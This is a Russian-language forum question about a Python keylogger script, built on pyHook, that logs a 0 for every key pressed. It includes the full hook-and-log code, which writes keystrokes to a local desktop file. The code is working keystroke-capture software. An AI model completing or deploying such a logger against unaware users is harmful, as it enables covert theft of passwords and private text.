PyHook дает вывод 0 для любой нажатой клавиши - PullRequest
0 голосов
/ 12 ноября 2018

Я хотел поэкспериментировать с простым кейлоггерным скриптом, который я нашел в Интернете. Код вроде работает. При нажатии первой клавиши создается текстовый файл журнала, но никакие символы не записываются. Я попытался добавить print (), чтобы проверить, почему это так, и ведь каждая нажатая клавиша 0 печатается в оболочке. Вот код:

import pyHook, pythoncom, sys, logging

file_path = "C:\\Users\\user\\Desktop\\log.txt"

def KeyBoardEvent(event):
    logging.basicConfig(filename = file_path, level = logging.DEBUG, format = '%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    print(event.Ascii)
    return True

hook = pyHook.HookManager()
hook.KeyDown = KeyBoardEvent
hook.HookKeyboard()
pythoncom.PumpMessages()

Какие-нибудь решения?

...